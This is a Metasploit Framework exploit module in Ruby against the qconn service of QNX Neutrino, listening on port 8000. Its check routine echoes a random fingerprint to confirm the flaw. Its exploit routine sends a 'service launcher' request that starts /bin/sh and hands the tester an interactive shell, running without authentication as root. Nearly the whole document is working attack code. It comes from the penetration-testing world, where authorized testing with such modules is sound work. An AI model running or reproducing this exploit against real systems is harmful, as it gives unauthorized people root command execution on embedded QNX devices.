QNX QCONN Remote Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "QNX QCONN Remote Command Execution Vulnerability",
			'Description'    => %q{
				This module exploits a vulnerability in the qconn component of
				QNX Neutrino which can be abused to allow unauthenticated users to
				execute arbitrary commands under the context of the 'root' user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'David Odell', # Discovery
					'Mor!p3r <moriper[at]gmail.com>', # PoC
					'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
				],
			'References'     =>
				[
					['EDB',   '21520'],
					['URL',   'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
					['URL',   'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'],
				],
			'Payload'        =>
				{
					'BadChars'    => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd_interact',
							'ConnectionType' => 'find',
						},
				},
			'DefaultOptions'  =>
				{
					'WfsDelay' => 10,
					'PAYLOAD'  => 'cmd/unix/interact',
				},
			'Platform'       => 'unix',    # QNX Neutrino
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					# Tested on QNX Neutrino 6.5 SP1
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 4 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(8000)
			], self.class)
	end

	def check

		@peer = "#{rhost}:#{rport}"

		# send check
		fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
		print_status("#{@peer} - Sending check")
		connect
		req  = "service launcher\n"
		req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
		sock.put(req)
		res  = sock.get
		disconnect

		# check response
		if    res and res =~ /#{fingerprint}/
			return Exploit::CheckCode::Vulnerable
		elsif res and res =~ /QCONN/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Unknown
		end

	end

	def exploit

		@peer = "#{rhost}:#{rport}"

		# send payload
		req  = "service launcher\n"
		req << "start/flags run /bin/sh -\n"
		print_status("#{@peer} - Sending payload (#{req.length} bytes)")
		connect
		sock.put(req)
		res  = sock.get

		# check response
		if res and res =~ /No controlling tty/
			print_good("#{@peer} - Payload sent successfully")
		else
			print_error("#{@peer} - Sending payload failed")
		end
		handler
		disconnect

	end
end